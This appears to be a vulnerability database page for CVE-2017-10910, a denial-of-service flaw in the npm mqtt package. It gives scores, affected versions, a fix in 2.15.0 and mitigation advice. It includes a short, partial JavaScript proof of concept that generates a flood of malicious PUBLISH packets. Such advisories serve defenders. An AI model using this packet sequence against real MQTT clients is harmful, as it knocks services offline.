CVE-2017-10910 is a medium-severity (CVSS 6.5) CWE-674 vulnerability in mqtt. A fix is available for mqtt — see the affected versions and patch details below.
Denial of Service in mqtt
EPSS Exploitation Probability
Probability of exploitation in the next 30 days, from FIRST.org EPSS.
How urgent is this, really
CVE-2017-10910 by exploitation likelihood (EPSS) against impact (CVSS). Outside the shaded patch-first corner.
Where this sits among everything scored
Of 385,738 CVEs with a current EPSS score, this one falls in the < 10% band (highlighted). Counts from FIRST.org, log-scaled.
Real-World Exposure
How broadly this vulnerability is actually deployed: weekly install volume shows current usage, and reverse-dependency count shows how many other packages break if it stays unpatched.
mqttnpmDescription
Affected versions of mqtt do not properly handle PUBLISH packets returning from the server, leading to a Denial of Service condition.
The vulnerability is completely mitigated if the only connected servers are trusted, guaranteed not to be under the control of a malicious actor.
Proof of Concept
The following is a demonstration of how to generate the malicious packet sequence, but does not include information on handling the initial network connections and MQTT overhead.
var mqttp = require('mqtt-packet');
var packets = [];
for(var i=0; i<=1000;i++){
packets.push(
mqttp.generate({
cmd:'publish',
topic:Buffer.from('hello'),
payload:Buffer.from('world'),
retain: false,
dup: false,
messageId: ++i,
qos: 1
})
)
}
Recommendation
Update to version 2.15.0 or later.
Affected Packages
| Ecosystem | Package | Vulnerable range | Fix |
|---|---|---|---|
| 📦npm | mqtt | ≥ 2.0.0&&< 2.15.0 | 2.15.0npm install mqtt@2.15.0 |
Affected Products
mqtt.jsmqtt.js_projectDetection & mitigation playbook
Open-source dependencyDetect
Scan your dependency tree (package-lock.json, pnpm-lock.yaml, requirements.txt, go.sum, etc.) for mqtt, including transitive dependencies — a direct dependency you never call can still pull in a vulnerable version.
Fix
Update mqtt to 2.15.0 or later, then make sure no transitive (indirect) dependency still pins the vulnerable range — O3 confirms CVE-2017-10910 is resolved across your whole dependency graph.
Workarounds
Cap what an attacker can consume: apply request size, rate and timeout limits in front of the affected component, and run it with memory and CPU limits so exhaustion degrades one worker rather than the whole service.
Frequently Asked Questions
Is CVE-2017-10910 in your dependencies?
Find it across npm, including transitive dependencies.